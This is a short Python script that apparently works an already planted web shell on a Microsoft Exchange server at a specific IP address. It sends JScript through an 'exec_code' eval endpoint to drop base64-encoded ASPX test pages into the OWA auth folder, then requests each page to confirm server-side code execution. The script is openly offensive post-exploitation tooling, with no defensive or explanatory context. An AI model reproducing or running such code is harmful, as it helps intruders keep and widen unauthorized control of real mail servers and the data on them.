#!/usr/bin/env python3
import requests, base64
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"
OA = r"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\t"

variants = {
 "t1.aspx": '<script runat="server" language="C#">void Page_Load(){Response.Write("OKCS_"+System.Environment.MachineName);}</script>',
 "t2.aspx": '<script language="JScript" runat="server" Page aspcompat=true>function Page_Load(){Response.Write("OKJS_"+System.Environment.MachineName);}</script>',
 "t3.aspx": '<%@ Page Language="JScript" %><script runat="server">function Page_Load(){Response.Write("OKJS2");}</script>',
 "t4.aspx": '<script language="JScript" runat="server">function Page_Load(){Response.Write("OKJS3");}</script>',
}
for name, src in variants.items():
    p = OA + name
    b64 = base64.b64encode(src.encode()).decode()
    js = ('try{System.IO.File.WriteAllBytes("%s",System.Convert.FromBase64String("%s"));Response.Write("DROP");}'
          'catch(e){Response.Write("ERR:"+e.message);}') % (p.replace("\\","\\\\"), b64)
    r = requests.post(EVAL, data={"exec_code": js}, verify=False, timeout=40)
    print("drop", name, repr(r.text.split('!BD')[0][:60]), flush=True)
    try:
        rr = requests.get("https://103.167.140.144/owa/auth/" + name, verify=False, timeout=25)
        body = rr.text
        print("  GET", rr.status_code, len(rr.content), "|", repr(body[:150]))
        for kw in ("Compilation", "compiler", "Error", "error CS", "error JScript", "Description", "Exception"):
            idx = body.find(kw)
            if idx > 0:
                print("   >>", kw, repr(body[idx-60:idx+220]))
                break
    except Exception as e:
        print("  GET EXC", type(e).__name__, str(e)[:100])